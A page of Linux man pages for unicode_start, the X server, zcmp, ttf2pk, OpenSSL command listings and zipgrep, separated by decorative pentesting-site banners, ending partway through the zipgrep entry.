129 - Linux cli command unicode_start

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command unicode_start and provides detailed information about the command unicode_start, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the unicode_start.

NAME 🖥️ unicode_start 🖥️

put keyboard and console in unicode mode

SYNOPSIS

unicode_start [font [umap]]

DESCRIPTION

The unicode_start command will put the keyboard and console into Unicode (UTF-8) mode.

For the keyboard this means that one can attach 16-bit U+xxxx values to keyboard keys using loadkeys(1), and have these appear as UTF-8 input to user programs. Also, that one can type hexadecimal Alt-xxxx using the numeric keypad, and again produce UTF-8.

For the console this means that the kernel expects UTF-8 output from user programs, and displays the output accordingly.

The parameter font is a font that is loaded. It should have a built-in Unicode map, or, if it hasn’t, such a map can be given explicitly as second parameter. When no font was specified, the current font is kept.

NOTE

Unicode mode is a parameter with a value per virtual console. However, usually the font and keymap is common to all consoles.

SEE ALSO

dumpkeys(1), kbd_mode(1), loadkeys(1), unicode_stop(1), utf-8(7), setfont(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

130 - Linux cli command Xserver

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command Xserver and provides detailed information about the command Xserver, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the Xserver.

NAME 🖥️ Xserver 🖥️

X Window System display server

SYNOPSIS

X [option …]

DESCRIPTION

X is the generic name for the X Window System display server. It is frequently a link or a copy of the appropriate server binary for driving the most frequently used server on a given machine.

STARTING THE SERVER

The X server is usually started from the X Display Manager program xdm(1) or a similar display manager program. This utility is run from the system boot files and takes care of keeping the server running, prompting for usernames and passwords, and starting up the user sessions.

Installations that run more than one window system may need to use the xinit(1) utility instead of a display manager. However, xinit is to be considered a tool for building startup scripts and is not intended for use by end users. Site administrators are strongly urged to use a display manager, or build other interfaces for novice users.

The X server may also be started directly by the user, though this method is usually reserved for testing and is not recommended for normal operation. On some platforms, the user must have special permission to start the X server, often because access to certain devices (e.g. /dev/mouse) is restricted. Where applicable, the X server notifies systemd when it is ready to process requests.

When the X server starts up, it typically takes over the display. If you are running on a workstation whose console is the display, you may not be able to log into the console while the server is running.

OPTIONS

Many X servers have device-specific command line options. See the manual pages for the individual servers for more details; a list of server-specific manual pages is provided in the SEE ALSO section below.

All of the X servers accept the command line options described below. Some X servers may have alternative ways of providing the parameters described here, but the values provided via the command line options should override values specified via other mechanisms.

:displaynumber
The X server runs as the given displaynumber, which by default is 0. If multiple X servers are to run simultaneously on a host, each must have a unique display number. See the DISPLAY NAMES section of the X(7) manual page to learn how to specify which display number clients should try to use.

-a number
sets pointer acceleration (i.e. the ratio of how much is reported to how much the user actually moved the pointer).

-ac
disables host-based access control mechanisms. Enables access by any host, and permits any host to modify the access control list. Use with extreme caution. This option exists primarily for running test suites remotely.

-audit level
sets the audit trail level. The default level is 1, meaning only connection rejections are reported. Level 2 additionally reports all successful connections and disconnects. Level 4 enables messages from the SECURITY extension, if present, including generation and revocation of authorizations and violations of the security policy. Level 0 turns off the audit trail. Audit lines are sent as standard error output.

-auth authorization-file
specifies a file which contains a collection of authorization records used to authenticate access. See also the xdm(1) and Xsecurity(7) manual pages.

-background none
Asks the driver not to clear the background on startup, if the driver supports that. May be useful for smooth transition with eg. fbdev driver. For security reasons this is not the default as the screen contents might show a previous user session.

-br
sets the default root window to solid black instead of the standard root weave pattern. This is the default unless -retro or -wr is specified.

-bs
disables backing store support on all screens.

+byteswappedclients
Allow connections from clients with an endianess different to that of the server. This is the default unless -byteswappedclients is specified.

-byteswappedclients
Prohibit connections from clients with an endianess different to that of the server.

-c
turns off key-click.

c volume
sets key-click volume (allowable range: 0-100).

-cc class
sets the visual class for the root window of color screens. The class numbers are as specified in the X protocol. Not obeyed by all servers.

-core
causes the server to generate a core dump on fatal errors.

-displayfd fd
specifies a file descriptor in the launching process. Rather than specify a display number, the X server will attempt to listen on successively higher display numbers, and upon finding a free one, will write the display number back on this file descriptor as a newline-terminated string. The -pn option is ignored when using -displayfd.

-deferglyphs whichfonts
specifies the types of fonts for which the server should attempt to use deferred glyph loading. whichfonts can be all (all fonts), none (no fonts), or 16 (16 bit fonts only).

-dpi resolution
sets the resolution for all screens, in dots per inch. To be used when the server cannot determine the screen size(s) from the hardware.

dpms
enables DPMS (display power management services), where supported. The default state is platform and configuration specific.

-dpms
disables DPMS (display power management services). The default state is platform and configuration specific.

-extensionextensionName
disables named extension. If an unknown extension name is specified, a list of accepted extension names is printed.

+extensionextensionName
enables named extension. If an unknown extension name is specified, a list of accepted extension names is printed.

-f volume
sets beep (bell) volume (allowable range: 0-100).

-fakescreenfps ps
sets fake presenter screen default fps (allowable range: 1-600).

-fp fontPath
sets the search path for fonts. This path is a comma separated list of directories which the X server searches for font databases. See the FONTS section of this manual page for more information and the default list.

-help
prints a usage message.

-I
causes all remaining command line arguments to be ignored.

-iglx
Prohibit creating indirect GLX contexts. Indirect GLX is of limited use, since it lacks support for many modern OpenGL features and extensions; it’s slower than direct contexts; and it opens a large attack surface for protocol parsing errors. This is the default unless +iglx is specified.

+iglx
Allow creating indirect GLX contexts.

-maxbigreqsize size
sets the maximum big request to size MB.

-nocursor
disable the display of the pointer cursor.

-nolisten trans-type
disables a transport type. For example, TCP/IP connections can be disabled with -nolisten tcp. This option may be issued multiple times to disable listening to different transport types. Supported transport types are platform dependent, but commonly include:

tcp TCP over IPv4 or IPv6
inet TCP over IPv4 only
inet6 TCP over IPv6 only
unix UNIX Domain Sockets
local Platform preferred local connection method

-listen trans-type
enables a transport type. For example, TCP/IP connections can be enabled with -listen tcp. This option may be issued multiple times to enable listening to different transport types.

-noreset
prevents a server reset when the last client connection is closed. This overrides a previous -terminate command line option.

-p minutes
sets screen-saver pattern cycle time in minutes.

-pn
permits the server to continue running if it fails to establish all of its well-known sockets (connection points for clients), but establishes at least one. This option is set by default.

-nopn
causes the server to exit if it fails to establish all of its well-known sockets (connection points for clients).

-r
turns off auto-repeat.

r
turns on auto-repeat.

-retro
starts the server with the classic stipple and cursor visible. The default is to start with a black root window, and to suppress display of the cursor until the first time an application calls XDefineCursor(). For kdrive servers, this implies -zap.

-s minutes
sets screen-saver timeout time in minutes.

-su
disables save under support on all screens.

-seat seat
seat to run on. Takes a string identifying a seat in a platform specific syntax. On platforms which support this feature this may be used to limit the server to expose only a specific subset of devices connected to the system.

-t number
sets pointer acceleration threshold in pixels (i.e. after how many pixels pointer acceleration should take effect).

-terminate [delay]
causes the server to terminate at server reset, instead of continuing to run. This overrides a previous -noreset command line option. If a delay in seconds is specified, the server waits for at least the delay. At the end of this grace period if no client is connected, the server terminates immediately.

-tst
disables all testing extensions (e.g., XTEST, XTrap, XTestExtension1, RECORD).

ttyxx
ignored, for servers started the ancient way (from init).

v
sets video-off screen-saver preference.

-v
sets video-on screen-saver preference.

-wr
sets the default root window to solid white instead of the standard root weave pattern.

-x extension
loads the specified extension at init. This is a no-op for most implementations.

[+-]xinerama
enables(+) or disables(-) the XINERAMA extension. The default state is platform and configuration specific.

SERVER DEPENDENT OPTIONS

Some X servers accept the following options:

-ld kilobytes
sets the data space limit of the server to the specified number of kilobytes. A value of zero makes the data size as large as possible. The default value of -1 leaves the data space limit unchanged.

-lf files
sets the number-of-open-files limit of the server to the specified number. A value of zero makes the limit as large as possible. The default value of -1 leaves the limit unchanged.

-ls kilobytes
sets the stack space limit of the server to the specified number of kilobytes. A value of zero makes the stack size as large as possible. The default value of -1 leaves the stack space limit unchanged.

-maxclients
64|128|256|512 Set the maximum number of clients allowed to connect to the X server. Acceptable values are 64, 128, 256 or 512.

-render
default|mono|gray|color sets the color allocation policy that will be used by the render extension.

default
selects the default policy defined for the display depth of the X server.

mono
don’t use any color cell.

gray
use a gray map of 13 color cells for the X render extension.

color
use a color cube of at most 4*4*4 colors (that is 64 color cells).

-dumbSched
disables smart scheduling on platforms that support the smart scheduler.

-schedInterval interval
sets the smart scheduler’s scheduling interval to interval milliseconds.

XDMCP OPTIONS

X servers that support XDMCP have the following options. See the X Display Manager Control Protocol specification for more information.

-query hostname
enables XDMCP and sends Query packets to the specified hostname.

-broadcast
enable XDMCP and broadcasts BroadcastQuery packets to the network. The first responding display manager will be chosen for the session.

-multicast [address [hop count]]
Enable XDMCP and multicast BroadcastQuery packets to the network. The first responding display manager is chosen for the session. If an address is specified, the multicast is sent to that address. If no address is specified, the multicast is sent to the default XDMCP IPv6 multicast group. If a hop count is specified, it is used as the maximum hop count for the multicast. If no hop count is specified, the multicast is set to a maximum of 1 hop, to prevent the multicast from being routed beyond the local network.

-indirect hostname
enables XDMCP and send IndirectQuery packets to the specified hostname.

-port port-number
uses the specified port-number for XDMCP packets, instead of the default. This option must be specified before any -query, -broadcast, -multicast, or -indirect options.

-from local-address
specifies the local address to connect from (useful if the connecting host has multiple network interfaces). The local-address may be expressed in any form acceptable to the host platform’s gethostbyname(3) implementation.

-once
causes the server to terminate (rather than reset) when the XDMCP session ends.

-class display-class
XDMCP has an additional display qualifier used in resource lookup for display-specific options. This option sets that value, by default it is “MIT-unspecified” (not a very useful value).

-cookie xdm-auth-bits
When testing XDM-AUTHENTICATION-1, a private key is shared between the server and the manager. This option sets the value of that private data (not that it is very private, being on the command line!).

-displayID display-id
Yet another XDMCP specific value, this one allows the display manager to identify each display so that it can locate the shared key.

XKEYBOARD OPTIONS

X servers that support the XKEYBOARD (a.k.a. XKB) extension accept the following options. All layout files specified on the command line must be located in the XKB base directory or a subdirectory, and specified as the relative path from the XKB base directory. The default XKB base directory is /usr/lib/X11/xkb.

[+-]accessx [ timeout [ timeout_mask [ feedback [ options_mask ] ] ] ]
enables(+) or disables(-) AccessX key sequences.

-xkbdir directory
base directory for keyboard layout files. This option is not available for setuid X servers (i.e., when the X server’s real and effective uids are different).

-ardelay milliseconds
sets the autorepeat delay (length of time in milliseconds that a key must be depressed before autorepeat starts).

-arinterval milliseconds
sets the autorepeat interval (length of time in milliseconds that should elapse between autorepeat-generated keystrokes).

-xkbmap filename
loads keyboard description in filename on server startup.

NETWORK CONNECTIONS

The X server supports client connections via a platform-dependent subset of the following transport types: TCP/IP, Unix Domain sockets, and several varieties of SVR4 local connections. See the DISPLAY NAMES section of the X(7) manual page to learn how to specify which transport type clients should try to use.

GRANTING ACCESS

The X server implements a platform-dependent subset of the following authorization protocols: MIT-MAGIC-COOKIE-1, XDM-AUTHORIZATION-1, XDM-AUTHORIZATION-2, SUN-DES-1, and MIT-KERBEROS-5. See the Xsecurity(7) manual page for information on the operation of these protocols.

Authorization data required by the above protocols is passed to the server in a private file named with the -auth command line option. Each time the server is about to accept the first connection after a reset (or when the server is starting), it reads this file. If this file contains any authorization records, the local host is not automatically allowed access to the server, and only clients which send one of the authorization records contained in the file in the connection setup information will be allowed access. See the Xau manual page for a description of the binary format of this file. See xauth(1) for maintenance of this file, and distribution of its contents to remote hosts.

The X server also uses a host-based access control list for deciding whether or not to accept connections from clients on a particular machine. If no other authorization mechanism is being used, this list initially consists of the host on which the server is running as well as any machines listed in the file /etc/Xn*.hosts*, where n is the display number of the server. Each line of the file should contain either an Internet hostname (e.g. expo.lcs.mit.edu) or a complete name in the format family:name as described in the xhost(1) manual page. There should be no leading or trailing spaces on any lines. For example:

joesworkstation
corporate.company.com
inet:bigcpu
local:

Users can add or remove hosts from this list and enable or disable access control using the xhost command from the same machine as the server.

If the X FireWall Proxy (xfwp) is being used without a sitepolicy, host-based authorization must be turned on for clients to be able to connect to the X server via the xfwp. If xfwp is run without a configuration file and thus no sitepolicy is defined, if xfwp is using an X server where xhost + has been run to turn off host-based authorization checks, when a client tries to connect to this X server via xfwp, the X server will deny the connection. See xfwp(1) for more information about this proxy.

The X protocol intrinsically does not have any notion of window operation permissions or place any restrictions on what a client can do; if a program can connect to a display, it has full run of the screen. X servers that support the SECURITY extension fare better because clients can be designated untrusted via the authorization they use to connect; see the xauth(1) manual page for details. Restrictions are imposed on untrusted clients that curtail the mischief they can do. See the SECURITY extension specification for a complete list of these restrictions.

Sites that have better authentication and authorization systems might wish to make use of the hooks in the libraries and the server to provide additional security models.

SIGNALS

The X server attaches special meaning to the following signals:

SIGHUP
This signal causes the server to close all existing connections, free all resources, and restore all defaults. It is sent by the display manager whenever the main user’s main application (usually an xterm or window manager) exits to force the server to clean up and prepare for the next user.

SIGTERM
This signal causes the server to exit cleanly.

SIGUSR1
This signal is used quite differently from either of the above. When the server starts, it checks to see if it has inherited SIGUSR1 as SIG_IGN instead of the usual SIG_DFL. In this case, the server sends a SIGUSR1 to its parent process after it has set up the various connection schemes. Xdm uses this feature to recognize when connecting to the server is possible.

FONTS

The X server can obtain fonts from directories and/or from font servers. The list of directories and font servers the X server uses when trying to open a font is controlled by the font path.

The default font path is /usr/share/fonts/X11/misc,/usr/share/fonts/X11/cyrillic,/usr/share/fonts/X11/100dpi/:unscaled,/usr/share/fonts/X11/75dpi/:unscaled,/usr/share/fonts/X11/Type1,/usr/share/fonts/X11/100dpi,/usr/share/fonts/X11/75dpi,built-ins .

A special kind of directory can be specified using the catalogue: prefix. Directories specified this way can contain symlinks pointing to the real font directories. See the FONTPATH.D section for details.

The font path can be set with the -fp option or by xset(1) after the server has started.

FONTPATH.D

You can specify a special kind of font path in the form catalogue:<dir>. The directory specified after the catalogue: prefix will be scanned for symlinks and each symlink destination will be added as a local fontfile FPE.

The symlink can be suffixed by attributes such as ‘unscaled’, which will be passed through to the underlying fontfile FPE. The only exception is the newly introduced ‘pri’ attribute, which will be used for ordering the font paths specified by the symlinks.

An example configuration:

    75dpi:unscaled:pri=20 -> /usr/share/X11/fonts/75dpi
    ghostscript:pri=60 -> /usr/share/fonts/default/ghostscript
    misc:unscaled:pri=10 -> /usr/share/X11/fonts/misc
    type1:pri=40 -> /usr/share/X11/fonts/Type1
    type1:pri=50 -> /usr/share/fonts/default/Type1

This will add /usr/share/X11/fonts/misc as the first FPE with the attribute unscaled’, second FPE will be /usr/share/X11/fonts/75dpi, also with the attribute ‘unscaled’ etc. This is functionally equivalent to setting the following font path:

    /usr/share/X11/fonts/misc:unscaled,
    /usr/share/X11/fonts/75dpi:unscaled,
    /usr/share/X11/fonts/Type1,
    /usr/share/fonts/default/Type1,
    /usr/share/fonts/default/ghostscript

FILES

/etc/Xn.hosts
Initial access control list for display number n

/usr/share/fonts/X11/misc,/usr/share/fonts/X11/75dpi,/usr/share/fonts/X11/100dpi
Bitmap font directories

/usr/share/fonts/X11/TTF,/usr/share/fonts/X11/Type1
Outline font directories

/tmp/.X11-unix/Xn
Unix domain socket for display number n

/usr/adm/Xnmsgs
Error log file for display number n if run from init(8)

/usr/lib/X11/xdm/xdm-errors
Default error log file if the server is run from xdm(1)

SEE ALSO

General information: X(7)

Protocols: X Window System Protocol, The X Font Service Protocol, X Display Manager Control Protocol

Fonts: bdftopcf(1), mkfontdir(1), mkfontscale(1), xfs(1), xlsfonts(1), xfontsel(1), xfd(1), X Logical Font Description Conventions

Keyboards: xkeyboard-config(7)

Security: Xsecurity(7), xauth(1), Xau(1), xdm(1), xhost(1), xfwp(1), Security Extension Specification

Starting the server: startx(1), xdm(1), xinit(1)

Controlling the server once started: xset(1), xsetroot(1), xhost(1), xinput(1), xrandr(1)

Server-specific man pages: Xorg(1), Xephyr(1), Xnest(1), Xvfb(1), Xquartz(1), XWin(1).

Server internal documentation: Definition of the Porting Layer for the X v11 Sample Server

AUTHORS

The sample server was originally written by Susan Angebranndt, Raymond Drewry, Philip Karlton, and Todd Newman, from Digital Equipment Corporation, with support from a large cast. It has since been extensively rewritten by Keith Packard and Bob Scheifler, from MIT. Dave Wiggins took over post-R5 and made substantial improvements.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

131 - Linux cli command zcmp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zcmp and provides detailed information about the command zcmp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zcmp.

NAME 🖥️ zcmp 🖥️

compare compressed files

SYNOPSIS

zcmp [ cmp_options ] file1 [ file2 ]
zdiff [ diff_options ] file1 [ file2 ]

DESCRIPTION

The zcmp and zdiff commands are used to invoke the cmp or the diff program on files compressed via gzip. All options specified are passed directly to cmp or diff. If only file1 is specified, it is compared to the uncompressed contents of file1**.gz***.* If two files are specified, their contents (uncompressed if necessary) are fed to cmp or diff. The input files are not modified. The exit status from cmp or diff is preserved.

SEE ALSO

cmp(1), diff(1), zmore(1), zgrep(1), znew(1), zforce(1), gzip(1), gzexe(1)

BUGS

Messages from the cmp or diff programs may refer to file names such as “-” instead of to the file names specified.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

132 - Linux cli command ttf2pk

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ttf2pk and provides detailed information about the command ttf2pk, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ttf2pk.

NAME 🖥️ ttf2pk 🖥️

convert a TrueType font into TeX’s PK format

SYNOPSIS

ttf2pk [-q] [-n] font-name resolution
ttf2pk -t [-q] font-name
ttf2pk - -version | - -help

DESCRIPTION

This program converts a TrueType font into a PK file; the created font can then be used with TeX or LaTeX.

CJKV (Chinese/Japanese/Korean/old Vietnamese) subfonts as created by ttf2tfm are also supported.

ttf2pk always assumes 10 points (10pt) as the design size for the written TeX font.

PARAMETERS

-q
This optional switch makes ttf2pk quiet. It suppresses any informational output except warning and error messages.

-n
Use only ` .pk’ as the extension instead of ` . <resolution> pk'.

-t
Test for the existence of font-name. Returns 0 on success and prints out the corresponding line of a map file (default: ttfonts.map), provided the -q switch isn’t set.

font-name
The TeX name of the font. ttf2pk looks this name up in a map file (see below) for further information how to process the font.

resolution
The resolution, given in dots per inch. Currently the horizontal resolution is equal to the vertical resolution. The design size is always assumed to be 10 points (10pt).

- -version
Shows the current version of ttf2pk and the used file search library (e.g. kpathsea).

- -help
Shows usage information.

Environment variables for file searching are described in the manual page of ttf2tfm.

THE CONFIGURATION FILE

ttf2pk uses a small configuration file called ttf2pk.cfg; in each line it contains a keyword with its value, separated by whitespace. Comment lines can start with any of the following characters: `*’, `#’, `;’, and `%’. Leading whitespace is ignored.

Currently, only one keyword, `map’, is recognized in this file; it takes a map file name as a parameter. If no extension is given to the map file name, .map is appended. No whitespace is allowed in the map file name. The `map’ keyword can be given more than once to specify multiple map files; if the map file name is prepended by a plus sign, it is added to the list of map files to be used. Example:

map foo
map +bar

This makes ttf2pk to first read foo.map, then bar.map.

If the configuration file is not found, ttf2pk tries to use ttfonts.map instead.

MAP FILES

Parameters specified to ttf2tfm are preserved for ttf2pk in map files— ttf2tfm writes out to standard output, as the last line, a proper entry for a map file.

As an example, a call to

ttf2tfm arial -p T1.enc -s 0.25 -P 1 -E 0 arials

will produce the following line:

arials arial Slant=0.25 Pid=1 Eid=0 Encoding=T1.enc

See ttf2tfm(1) and afm2tfm(1) of the dvips package for a detailed description of encoding files.

Here a table listing the various ttf2tfm parameters and the corresponding entries in a map file:

-s Slant
-e Extend
-p Encoding
-f Fontindex
-P Pid
-E Eid
-n PS=Yes
-N PS=Only
-R Replacement
-x Rotate=Yes
-y Y-Offset

Single replacement glyph names given to ttf2tfm with ` -r* old-glyphname new-glyphname* ’ are directly specified with ` old-glyphname=new-glyphname’. They will be ignored if in subfont mode or if no encoding file is given.

One additional parameter in a map file is unique to ttf2pk: `Hinting’, which can take the values `On’ or `Off’. Some fonts (e.g., the CJK part of cyberbit.ttf) are rendered incorrectly if hinting is activated. Default is `On’ (you can also use `Yes’, `No’, `1’, and `0’).

For a description of subfonts (i.e., entries of the form ` <namestem> @ <sfd-filename> @’) please refer to ttf2tfm(1).

The format of a map file is simple. Each line defines a font; first comes the TeX font name, then its TrueType font file name, followed by the parameters in any order. Case is significant (even for parameter names); the parameters are separated from its values by an equal sign, with whitespace possibly surrounding it. ttf2pk reads in all map files line by line in the order given in the configuration file, continuing until the TeX font specified on the command line is found, otherwise the programs exits with error code 2. Thus you can use any character invalid in a TeX font name to start a comment line.

You can use `\ as the final character of a line to indicate that the input is continued on the next line. The backslash and the following newline character will be removed.

ttf2pk will abort if it can’t find or read the TeX font metrics file of the given TeX font name.

RETURN VALUE

If the call was successful, 0 will be returned. In case of error, the return value is 1. Finally, if the font can’t be found in the map files, 2 is returned. This simplifies the inclusion of ttf2pk into scripts like mktexpk for automatic font generation.

SEE ALSO

ttf2tfm(1), afm2tfm(1)

AVAILABILITY

ttf2pk is part of the FreeType 1 package, a high quality TrueType rendering library.

AUTHORS

Werner LEMBERG <[email protected]>
Frédéric LOYER <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

133 - Linux cli command versionssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command versionssl and provides detailed information about the command versionssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the versionssl.

NAME 🖥️ versionssl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

134 - Linux cli command zipgrep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zipgrep and provides detailed information about the command zipgrep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zipgrep.

NAME 🖥️ zipgrep 🖥️

search files in a ZIP archive for lines matching a pattern

SYNOPSIS

zipgrep [egrep_options] pattern file[.zip] [file(s) . . .] [-x xfile(s) . . .]

DESCRIPTION

zipgrep will search files within a ZIP archive for lines matching the given string or pattern. zipgrep is a shell script and requires egrep(1) and unzip(1) to function. Its output is identical to that of egrep(1).

ARGUMENTS

pattern
The pattern to be located within a ZIP archive. Any string or regular expression accepted by egrep(1) may be used. file[.zip] Path of the ZIP archive. (Wildcard expressions for the ZIP archive name are not supported.) If the literal filename is not found, the suffix .zip is appended. Note that self-extracting ZIP files are supported, as with any other ZIP archive; just specify the .exe suffix (if any) explicitly.

[file(s)]
An optional list of archive members to be processed, separated by spaces. If no member files are specified, all members of the ZIP archive are searched. Regular expressions (wildcards) may be used to match multiple members:

  • matches a sequence of 0 or more characters

?
matches exactly 1 character

[. . .]
matches any single character found inside the brackets; ranges are specified by a beginning character, a hyphen, and an ending character. If an exclamation point or a caret (`!’ or `^’) follows the left bracket, then the range of characters within the brackets is complemented (that is, anything except the characters inside the brackets is considered a match).

(Be sure to quote any character that might otherwise be interpreted or modified by the operating system.)

[-x xfile(s)]
